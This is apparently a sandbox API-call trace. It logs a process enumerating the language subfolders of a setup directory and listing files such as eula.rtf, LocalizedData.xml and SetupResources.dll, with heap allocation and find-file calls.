	[0062.586] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.586] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0062.586] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.586] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0062.586] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.587] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.587] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.587] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.587] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.587] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0062.587] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.587] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0062.587] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.587] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0062.588] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.588] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.588] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.588] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.588] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.588] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0062.589] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.589] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0062.589] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.589] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f48
	[0062.589] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.589] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.589] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.590] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.590] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.590] FindClose (in: hFindFile=0x811f48 | out: hFindFile=0x811f48) returned 1
	[0062.590] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.590] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0062.590] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.590] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811ec8
	[0062.590] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.590] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.590] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.591] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.591] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.591] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0062.591] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.591] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0062.591] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.591] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811d08
	[0062.594] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.594] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.594] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.594] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.594] FindNextFileW (in: hFindFile=0x811d08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.594] FindClose (in: hFindFile=0x811d08 | out: hFindFile=0x811d08) returned 1
	[0062.595] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.595] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0062.595] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.595] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0062.595] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.595] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.595] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.595] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.596] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.596] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0062.596] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.596] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
